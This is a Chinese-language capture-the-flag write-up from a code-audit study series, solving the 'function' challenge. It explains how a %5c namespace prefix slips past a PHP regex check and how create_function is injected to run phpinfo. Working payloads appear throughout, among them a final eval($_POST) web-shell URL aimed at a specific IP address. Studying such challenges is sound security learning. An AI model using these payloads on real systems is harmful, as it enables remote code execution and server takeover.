code-breaking-function

本篇属于我的代码审计学习系列

function

题目代码:

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

bypass正则

题目中提供了两个可控的参数,但是我们需要绕过正则的限制,如何bypass正则我们可以进行字符fuzz测试

image.png

1
2
3
4
5
6
7
8
9
import requests
for i in range(0,256):
  j = hex(i)[2:]
  payload = "%"+j
  #print(payload)
  url = "http://127.0.0.1/demo8.php?action="+payload+"var_dump&arg=yml"
  html = requests.get(url)
  if "yml" in html.text:
    print(payload)

image.png

可以看到%5c可以bypass正则

关于为何%5c可以bypass掉正则,出题人有如下解释:

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

getshell

绕过正则后,我们重点来看利用点的函数类型

函数需要两个参数,我们可以控制其中第二个参数进行getshell

image.png

这样通过寻找,最终确定了create_function()函数,我们看一下官方文档

image.png

简单解释就是参数$args控制匿名函数的参数,$code控制匿名函数的代码

我们可以抽象出如下代码模式

1
2
3
4
fuction a($args)
{
$code
}

不难联想到这样的模式可以通过代码注入的方式来getshell

然后回归题目,我们看到可控参数在第二个,也就是$code部分,抽象出来的模型是这样的

1
2
3
4
fuction a()
{
$code
}

然后进行构造,我们可以尝试如下的方式来执行phpinfo()

1
2
3
4
5
<?php
function a(){return '121';}phpinfo();/*)
{
}
?>

本地看一下测试结果

image.png

至此我们可以构造如下payload

1
action=%5ccreate_function&arg=return '121';}phpinfo();/*){

结果

image.png

思考

题目中的的可控参数为第二个,那么当可控参数为第一个的时候我们如何getshell呢?

题目代码改成这样

image.png

构建利用原型

1
2
3
4
fuction a($arg)
{

}

在这个时候,我们依然可以参考上面的利用方式,构造如下

1
2
3
4
<?php
function a(){return 'yml';}phpinfo();/*){
}
?>

这个时候可构造如下payload

1
action=%5ccreate_function&arg=){return 'yml';}phpinfo();/*

image.png

成功实现代码执行

getflag

可以代码执行后我们就可以使用eval函数来利用了

http://119.3.232.233:8087/?action=%5ccreate_function&arg=return '121';}eval($_POST['a']);/*){

工具连接

12.jpg